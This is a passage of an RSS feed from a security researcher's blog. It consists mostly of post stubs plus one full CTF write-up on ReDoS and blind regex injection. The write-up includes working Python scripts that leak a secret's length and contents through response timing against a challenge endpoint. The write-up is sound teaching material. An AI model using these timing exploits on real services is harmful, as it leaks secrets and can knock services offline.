/></figure><p>Finally, I hope you enjoyed both the CONCTF Finals and this write-up. Don’t hesitate to contact me with any recommendations or questions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0de7dda28ee6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-System Communication: Injection Vulnerabilities Internals]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://kalawy.medium.com/cross-system-communication-injection-vulnerabilities-internals-19d406bb57d5?source=rss-86dcade4b57e------2"><img src="https://cdn-images-1.medium.com/max/1024/1*-oPPHZcX7qyfShyNzQCPng.png" width="1024"></a></p><p class="medium-feed-snippet">Here is a link for non-members</p><p class="medium-feed-link"><a href="https://kalawy.medium.com/cross-system-communication-injection-vulnerabilities-internals-19d406bb57d5?source=rss-86dcade4b57e------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://kalawy.medium.com/cross-system-communication-injection-vulnerabilities-internals-19d406bb57d5?source=rss-86dcade4b57e------2</link>
            <guid isPermaLink="false">https://medium.com/p/19d406bb57d5</guid>
            <category><![CDATA[security-research]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[web-attack]]></category>
            <dc:creator><![CDATA[Kalawy]]></dc:creator>
            <pubDate>Mon, 03 Mar 2025 21:47:17 GMT</pubDate>
            <atom:updated>2025-03-03T21:47:39.829Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[“There is no subdomain with no usage” How understanding this rule led to 5 Criticals]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://kalawy.medium.com/there-is-no-subdomain-with-no-usage-how-understanding-this-rule-led-to-5-criticals-59e815ca6df2?source=rss-86dcade4b57e------2"><img src="https://cdn-images-1.medium.com/max/1024/1*Qyt7UmhWE_QZBFEVcWz8OQ.png" width="1024"></a></p><p class="medium-feed-snippet">Here is how we spotted 5 critical bugs in arabic program on H1</p><p class="medium-feed-link"><a href="https://kalawy.medium.com/there-is-no-subdomain-with-no-usage-how-understanding-this-rule-led-to-5-criticals-59e815ca6df2?source=rss-86dcade4b57e------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://kalawy.medium.com/there-is-no-subdomain-with-no-usage-how-understanding-this-rule-led-to-5-criticals-59e815ca6df2?source=rss-86dcade4b57e------2</link>
            <guid isPermaLink="false">https://medium.com/p/59e815ca6df2</guid>
            <category><![CDATA[information-disclosure]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Kalawy]]></dc:creator>
            <pubDate>Wed, 19 Feb 2025 19:53:08 GMT</pubDate>
            <atom:updated>2025-02-21T10:36:31.668Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[RegEx Hacking (ReDoS) — Cyborg   Cybertalents-challenge write-up]]></title>
            <link>https://kalawy.medium.com/regex-hacking-redos-cyborg-cybertalents-challenge-write-up-82418d62f1d7?source=rss-86dcade4b57e------2</link>
            <guid isPermaLink="false">https://medium.com/p/82418d62f1d7</guid>
            <category><![CDATA[cyber-talents]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[denial-of-service]]></category>
            <category><![CDATA[regex]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Kalawy]]></dc:creator>
            <pubDate>Mon, 07 Oct 2024 14:11:06 GMT</pubDate>
            <atom:updated>2025-02-16T10:38:49.177Z</atom:updated>
            <content:encoded><![CDATA[<h3>RegEx Hacking (ReDoS) — Cyborg Cybertalents-challenge write-up</h3><p>الحمدلله لا ابغي به بدلا<br>حمدا يبَلّغ من رضوانه الأملا<br>ثم الصلاة على خير الورى وعلى<br>ساداتنا آله وصحبه الفضلا</p><p><a href="https://kalawy.medium.com/regex-hacking-redos-cyborg-cybertalents-challenge-write-up-82418d62f1d7?sk=e564bef65de457a56263c08f9e18dc8e">Link</a> for Free members</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QrI-U0l1Llgml2f6D58VCA.png" /></figure><p>Hey hackers!<br>In this write-up, we’ll dive into the solution for the Cyborg challenge on <a href="https://cybertalents.com/challenges/web/cyborg">Cybertalents</a>. But before we get started, it’s important to cover a few essentials:</p><ol><li><strong>Regular Expressions (RegEx): </strong>A quick overview of how they work and what they do.</li><li><strong>RegEx Engines:</strong> Understanding how they process patterns.</li><li><strong>RegEx DoS (ReDoS)</strong>: explore using complicated designed patterns to cause a denial of service.</li></ol><p>Once you’re familiar with these, you’ll be all set to tackle the challenge</p><h3>RegEx</h3><p>Short for <strong>Regular Expression</strong>, RegEx is a powerful tool used to search for patterns within text. It allows you to define a specific sequence or pattern of characters to search for. For example, the pattern [A-Z]+ searches for one or more consecutive uppercase letters in a given text. RegEx is widely used in programming, text processing, and cybersecurity.</p><p>For more details, check out <a href="https://simpleregex.dev/">this</a>.</p><h3>RegEx Engines</h3><p>A RegEx engine is a software or library that processes regular expressions by comparing them to an input string to find matches. There are two main approaches for executing RegEx patterns: <strong>Backtracking</strong> and <strong>Finite-State</strong>.</p><h4>Backtracking Search</h4><p>Backtracking is a well-known algorithmic technique used to solve problems by exploring all possible solutions and checking which one satisfies the required constraints. It&#39;s often used when there are multiple potential solutions and you need to find the correct one. For sure, most of us have used backtracking someday! 😄</p><p>In the context of a RegEx engine, backtracking begins at the start of the string and checks for the first possible match. For example, take the pattern /code/ and the string:<br><em>She is coming to school to code but I could not come to code.</em></p><p>Here’s how the engine works:</p><ol><li>It starts by looking for the character ‘c’. It finds one at position 7 and thinks, “This could be a match.”</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ocM9sYeBVabFb8TlzABZug.png" /></figure><p>2. It checks the next characters (‘o’, ‘d’) against the pattern. But the ‘d’ doesn’t match the string, so the engine says, <em>“Oops, this isn’t right!”</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4NlFf1IhpWL83dI7wirosQ.png" /></figure><p>3. The engine backtracks to position 7 and resumes searching for the next ‘c’. It finds one at position 18 (“chool”), but again, it’s not a match.</p><p>4. The engine keeps backtracking and searching until it finds the correct match at position 27 (“code”). At this point, it stops and returns the match.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqfnRXwJ_X7TVJYxjVQZ2w.png" /></figure><p>If you use the global flag (/code/g), the engine doesn’t stop after the first match. Instead, it continues searching through the entire string for all occurrences of the pattern.</p><h3>Finite-State Machines or Finite-State automata (FSM)</h3><p>A Finite-State Machine (FSM), or Finite-State Automaton, is a computational model used to represent and control the flow of execution through a set of predefined states. Think of it like a game of hopscotch: you start at one point and move from square to square, but you can only stand in one square at a time, never two. Each square represents a state, and the rules of the game decide how you move to the next state. In the same way, FSMs use transitions between states to process input and decide what to do next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*zq2zlHWKC38ELw7XwRzrGg.jpeg" /></figure><p>FSM in the same way transitions from one state to another dependent on the input received.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*MzsPfzdhDrDw5qP5kcjGHA.png" /></figure><p>For Example, for FSM to transition from state A to state B it must receive input ‘p’, to transition from B to C needs an input ‘q’, and so on.</p><p>This engine takes a RegEx pattern and converts it into a Finite-State Machine (FSM) for processing. There are two main types of FSMs:</p><ul><li><strong>Deterministic FSM (DFSM)</strong>: In a DFSM, for a given (state, input) pair, it’s always possible to determine exactly one next state to transition to. Depending on how errors are handled, there may be either one definite next state or none at all.</li><li><strong>Non-Deterministic FSM (NFSM)</strong>: In contrast, an NFSM allows for two or more potential output states for a given (state, input) pair. When faced with this ambiguity, you can either choose one output state at random or explore all possible output states simultaneously.</li></ul><p>Regular Expressions are implemented using the fundamental idea that <strong>each RegEx pattern corresponds to its own FSM</strong>, enabling efficient pattern matching and processing.</p><h4>For Example:</h4><h3><strong>/ab/</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*dt_Bf1EFxEOFWw355UU0ZA.png" /></figure><h3>/a|b/</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*8X6iOj_5NrF-064GiFjE0A.png" /></figure><h3>/a?b/</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*fTBQJNaUh88CuQjMK9kTlA.png" /></figure><h3>/a*b/</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*JMFgfnRbWvDxbpZKdfTsmA.png" /></figure><p>By combining Finite-State Machines (FSM) and backtracking, we can implement two primary algorithms for RegEx engines: <strong>Backtracking-Based Simulation</strong> and <strong>Simultaneous Simulation</strong>.</p><ol><li><strong>Backtracking-Based Simulation</strong>: In this approach, the engine selects one of the potential candidates and moves to that state. If the attempt fails to produce a match, the engine cancels that move and backtracks to explore other possible states. This method is flexible but can become inefficient with complex patterns.</li><li><strong>Simultaneous Simulation</strong>: In contrast, an engine utilizing simultaneous simulation evaluates all potential candidates at the same time. Instead of moving to one state and potentially backtracking, it explores all possible transitions concurrently, allowing for faster processing in certain scenarios.</li></ol><h3>ReDoS</h3><p>Backtracking-based simulation has a significant vulnerability known as <strong>catastrophic backtracking</strong>. For example, consider the following Python code:</p><pre>import re<br>N = (a natural number)<br>print(re.match(&#39;^(.*)*HOGE$&#39;, &#39;a&#39; * N))</pre><p>Here is the DFSM for this regex</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QqgAFijaJAwyjIruddFUsw.png" /></figure><p>In this case, the <strong>Deterministic Finite-State Machine (DFSM)</strong> for this regular expression struggles when the input consists of a large number of ‘a’ characters. The engine remains stuck in the initial state, unable to transition until all characters are processed. This regex exhibits a complexity of O(2^N), meaning it can take an exorbitant amount of time to evaluate as N increases.</p><h3>ReDoS</h3><p>If an attacker can control the input RegEx, they can exploit this vulnerability to cause a Denial of Service (DoS), leading to what is known as <strong>Regular Expression Denial of Service (ReDoS)</strong>. This is classified as an <strong>algorithmic complexity attack</strong>, where attackers exploit algorithms by providing inputs that trigger the worst-case scenario.</p><h3>Mitigation</h3><p>Many RegEx libraries have implemented a time limit on regex execution. This helps prevent resource consumption by ensuring that any regex operation is terminated if it exceeds a predefined duration. However, this approach can also introduce a potential vulnerability, such as <strong>blind RegEx injection</strong>, where attackers might exploit the time constraints to bypass security measures. While the time limit effectively mitigates the risk of ReDoS, developers must implement additional validation and filtering techniques to ensure robust security while still enabling effective regex processing.</p><h3>Blind RegEx injection</h3><p>let’s take this example:</p><pre>import socketserver<br>import re<br>from timeout_decorator import timeout, TimeoutError<br><br>@timeout(2)<br>def search(r, s):<br>    return re.match(r, s)<br><br>SECRET = &quot;this_is_secret&quot;<br><br>class Handler(socketserver.BaseRequestHandler):<br>    def handle(self):<br>        self.request.sendall(b&#39;Please give a regexp to search: &#39;)<br>        r = self.request.recv(1024).strip().decode()<br>        try:<br>            search(r, SECRET)<br>        except:<br>            pass<br>        self.request.sendall(b&#39;Thanks!&#39;)<br>        <br>if __name__ == &quot;__main__&quot;:<br>    server = socketserver.TCPServer((&quot;localhost&quot;, 9999), Handler)<br>    server.serve_forever()</pre><blockquote>All code snippests aren’t owned by me, i got it from the resources below</blockquote><p>This script takes a regex pattern from the user and attempts to match it against the SECRET string. Notably, there is a 2-second timeout for executing the regex. Let’s break down the behavior:</p><ul><li>If each command of the regex takes SECRET lengthmilliseconds to be executed, the total execution time would be around SECRET length * number of statementsmilliseconds. so increase the number of commands as you can, but be sure that each command matches the regex until we reach the salt . for example: (?=.*)((((((.*)*)*)*)*)*){100}</li></ul><p>Now, let’s introduce the concept of <strong>Positive Lookahead</strong>, represented by the regex statement (?=R). This expression checks whether the subsequent part of the string matches the pattern R, without consuming characters or advancing the search position in the input string.</p><p>For instance, consider the regex ^K(?=.*)([a-z]*) and the input string &quot;Kalawy is 1337&quot;. Here’s how it works:</p><ul><li>The regex first checks if the first character is ‘K’, which matches and returns ‘K’.</li><li>The engine then moves forward and checks if the remaining string “alawy is 1337” matches .*, which it does.</li><li>Finally, from the same position, it searches for [a-z]*, returning &quot;alawy&quot;.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*nMkUWf4Yt9qPcZ8IJuG0rQ.jpeg" /></figure><h3>Exploitation of ReDoS Vulnerability</h3><p>In this example, we try to achieve the ReDoS vulnerability in the regex ^(?=(.*))((.*)*)*salt$ to exploit the system. The regex works as follows:</p><ol><li><strong>Positive Lookahead Check</strong>: The expression (?=(.*)) first checks if the string starts with any character(s). This is a non-consuming assertion that allows the regex engine to confirm the presence of at least one character.</li><li><strong>Matching the Pattern</strong>: The next part of the regex ((.*)*)*salt$ attempts to match any characters followed by the exact string &quot;salt&quot;. However, if &quot;salt&quot; is not found, the engine will backtrack, trying each character in the string to see if it can successfully match the entire pattern.</li><li><strong>Length Determination</strong>: By employing regex patterns like (?=.{1})(((.*)*)*)*, (?=.{2})(((.*)*)*)*, and so on, we can determine the length of the secret by testing each potential length incrementally. If the secret length matches the expected length, the execution will consistently hit the 2-second due to backtracking.</li></ol><p>For me to solve any ReDoS challenge, I split the challenge into two tasks: brute force the length and then brute force each character.</p><p>to get the length of I used this function:</p><pre>def get_length():<br>    for i in range(100):<br>        payload = &quot;(?=.{&quot;+f&quot;{i}&quot;+&quot;}$)(((.*)*)*)*salt$&quot;<br>        duaration = get_request_duration(payload)<br>        if(duaration &gt;= 2):<br>            break<br>    return i</pre><ul><li>the payload starts with a Positive lookahead (?=.{i}$) to checki occurrences of any character before the end of the string $ , which iis a variable from 1 to 100.</li><li>If the positive lookahead returns true, the engine will go to the next command which causes ReDoS. This will help us easily determine the length.</li></ul><p>I used this function to calculate the duration between request and response :</p><pre>def get_request_duration(payload):<br>    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    try:<br>        sock.connect((&quot;localhost&quot;, 9999))        <br>        sock.recv(1024)<br>        sock.sendall((payload + &quot;\n&quot;).encode())<br>        _start = time.time()<br>        sock.recv(1024)<br>        _end = time.time()<br>        duration = _end - _start<br>    except:<br>        duration = -1<br>        exit(1)<br>    finally:<br>        sock.close()<br>    return duration</pre><p>it simply sends a payload and waits for the response then calculates the difference between the time of sending and the time of receiving.</p><p>Here is the function which will brute force the secret:</p><pre>def secret(length):<br>    list = [&quot;_&quot;]<br>    list.extend(string.ascii_letters)<br>    list.extend(string.digits)<br>    secret_string = []<br>    for i in range(length+1):<br>        for j in list:<br>            payload = &quot;(?=.{&quot;+f&quot;{i}&quot;+&quot;}&quot;+f&quot;{j})(((.*)*)*)*salt$&quot;<br>            # print(payload)<br>            if get_request_duration(payload)&gt;=2:<br>                secret_string.append(j)<br>                print(f&quot;{i}:{j}&quot;)<br>                break<br>    print(&quot;&quot;.join(secret_string))</pre><p>For each character in the secret, it will brute force using a list containing digits, alphabets, and _</p><h3><strong>Main Exploit Logic</strong>:</h3><ul><li><strong>Length Leaking</strong>: Iterates through potential lengths (up to 100) to determine the actual length of the secret by checking if each length satisfies the regex.</li><li><strong>Character Brute Force</strong>: For each character position in the secret, it attempts to determine the character by testing all printable characters until the regex pattern successfully matches.</li></ul><h3>Lab — Cyborg Cybertalents</h3><p>It’s the time of hacking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*nNOHAN9FFNbYPdW8IVo8KA.gif" /></figure><p>Here is the <a href="https://cybertalents.com/challenges/web/cyborg">Cyborg</a> challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I0H6K6Lz9cuU2Jua_kUdBw.png" /></figure><p>The challenge contains /license endpoint that you enter a license to be checked, the only response you receive is “Results is saved successfully”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*ktGP0fWF0ZTVMYinfCiL2Q.png" /></figure><p>When you see the source code attached with the challenge you will find that the input is handled as a regex with 2 seconds timeout, the regex is applied to a variable flag , so we need to determine this flag.</p><p>as previously, We will divide our challenge into 2 tasks: determine the length and then brute force the string.</p><p>Determine the length</p><pre>def get_length():<br>    for i in range(101):<br>        if post(&quot;your_url/license&quot;,headers={&quot;Content-Type&quot;:&quot;application/x-www-form-urlencoded&quot;},data=&quot;license=^(?=^.{&quot;+str(i)+&quot;}$)(((.*)*)*)*salt$&amp;check=Check&quot;).elapsed.total_seconds() &gt;=2:<br>            return i</pre><p>The length is 37 but we already know the format of the flag which is FLAG{&lt;secret&gt;} so we will brute force starting from position 5</p><pre>def brute_force(length):<br>    list = [&quot;_&quot;,&quot;!&quot;]<br>    list.extend(ascii_letters)<br>    list.extend(digits)<br>    flag = [&quot;F&quot;,&quot;L&quot;,&quot;A&quot;,&quot;G&quot;,&quot;{&quot;]<br>    # we already know that the flag has this format FLAG{secret}<br>    print(&quot;0: F\n1: L\n2: A\n3: G\n4: {&quot;)<br>    for i in range(5,length):<br>        for j in list:<br>            if post(&quot;your_url/license&quot;,headers={&quot;Content-Type&quot;:&quot;application/x-www-form-urlencoded&quot;},data=&quot;license=^(?=^.{&quot;+str(i)+&quot;}&quot;+str(j)+&quot;)(((.*)*)*)*salt$&amp;check=Check&quot;).elapsed.total_seconds() &gt;=2:<br>                print(f&quot;{i}:{j}&quot;)<br>                break<br>    flag.append(&quot;}&quot;)<br>    print(&quot;&quot;.join(flag))</pre><pre>if __name__ == &quot;__main__&quot;:<br>    length = get_length()<br>    print(f&quot;Flag length is {length}&quot;)<br>    brute_force(length)</pre><p>And B0om, here is your flag :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*1VBXmabXBE9Bb44bAHY-9w.png" /></figure><p>it’s preferred to run the script more than once to avoid network errors.</p><h3>Resources</h3><ul><li><a href="https://simpleregex.dev/how-regular-expressions-work/">Backtracking RegEx Engine</a></li><li><a href="https://randomtechthoughts.blog/2021/12/31/finite-state-machines/">Finite-State Machine</a></li><li><a href="https://randomtechthoughts.blog/2022/01/01/comparing-regular-expressions-and-finite-state-machines/">Applying Regular Expressions with FSM</a></li><li><a href="https://diary.shift-js.info/blind-regular-expression-injection/">A Rough Idea of Blind Regular Expression Injection Attack</a></li><li><a href="https://ctftime.org/writeup/22579">another challenge</a></li></ul><h3>Finally</h3><p>Hope you get the full benefit from this write-up, I recommend this write-up written by me.</p><p><a href="https://kalawy.medium.com/one-ip-led-to-4-bugs-made-the-company-delete-the-domain-f28a9e898a8a">One IP led to 4 bugs made the company delete the domain</a></p><p>Happy reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82418d62f1d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One IP led to 4 bugs made the company delete the domain]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://kalawy.medium.com/one-ip-led-to-4-bugs-made-the-company-delete-the-domain-f28a9e898a8a?source=rss-86dcade4b57e------2"><img src="https://cdn-images-1.medium.com/max/600/1*rw18yJfMi-msg00kX8bMng.jpeg" width="600"></a></p><p class="medium-feed-snippet">Hey folks, I&#x2019;ll explain how I got my first 3 paid bugs with Ahmed Ghazy.</p><p class="medium-feed-link"><a href="https://kalawy.medium.com/one-ip-led-to-4-bugs-made-the-company-delete-the-domain-f28a9e898a8a?source=rss-86dcade4b57e------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://kalawy.medium.com/one-ip-led-to-4-bugs-made-the-company-delete-the-domain-f28a9e898a8a?source=rss-86dcade4b57e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f28a9e898a8a</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <dc:creator><![CDATA[Kalawy]]></dc:creator>
            <pubDate>Thu, 04 Apr 2024 10:32:12 GMT</pubDate>
            <atom:updated>2025-02-16T10:41:51.967Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[File Upload Vulnerabilities]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://kalawy.medium.com/file-upload-vulnerabilities-80727d313e4?source=rss-86dcade4b57e------2"><img src="https://cdn-images-1.medium.com/max/1600/1*VLpE7gEQr1biFC7QQB05Ug.png" width="1600"></a></p><p class="medium-feed-snippet">These Vulnerabilities arise when the server fails to enforce restrictions on the files uploaded to its system like name, type, content, or&#x2026;</p><p class="medium-feed-link"><a href="https://kalawy.medium.com/file-upload-vulnerabilities-80727d313e4?source=rss-86dcade4b57e------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://kalawy.medium.com/file-upload-vulnerabilities-80727d313e4?source=rss-86dcade4b57e------2</link>
            <guid isPermaLink="false">https://medium.com/p/80727d313e4</guid>
            <category><![CDATA[file-upload]]></category>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Kalawy]]></dc:creator>
            <pubDate>Thu, 22 Jun 2023 20:22:10 GMT</pubDate>
            <atom:updated>2025-02-16T10:43:21.904Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[JWT Basic Attacks]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://kalawy.medium.com/jwt-basic-attacks-9873672c8912?source=rss-86dcade4b57e------2"><img src="https://cdn-images-1.medium.com/max/2600/1*5kUpC0mCTZsTUKDffS6pVw.png" width="4800"></a></p><p class="medium-feed-snippet">JWT Example</p><p class="medium-feed-link"><a href="https://kalawy.medium.com/jwt-basic-attacks-9873672c8912?source=rss-86dcade4b57e------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://kalawy.medium.com/jwt-basic-attacks-9873672c8912?source=rss-86dcade4b57e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9873672c8912</guid>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[jwt-exploitation]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Kalawy]]></dc:creator>
            <pubDate>Sat, 17 Jun 2023 11:39:05 GMT</pubDate>
            <atom:updated>2025-02-16T10:43:57.858Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Try Hack Me: Easy Peasy]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://kalawy.medium.com/try-hack-me-easy-peasy-a21f179941d7?source=rss-86dcade4b57e------2"><img src="https://cdn-images-1.medium.com/max/710/1*yoASQZefBcEewTcCckJTJQ.png" width="710"></a></p><p class="medium-feed-link"><a href="https://kalawy.medium.com/try-hack-me-easy-peasy-a21f179941d7?source=rss-86dcade4b57e------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://kalawy.medium.com/try-hack-me-easy-peasy-a21f179941d7?source=rss-86dcade4b57e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a21f179941d7</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Kalawy]]></dc:creator>
            <pubDate>Thu, 11 May 2023 20:46:40 GMT</pubDate>
            <atom:updated>2024-11-18T10:12:30.505Z</atom:updated>
        </item>
    </channel>
</rss>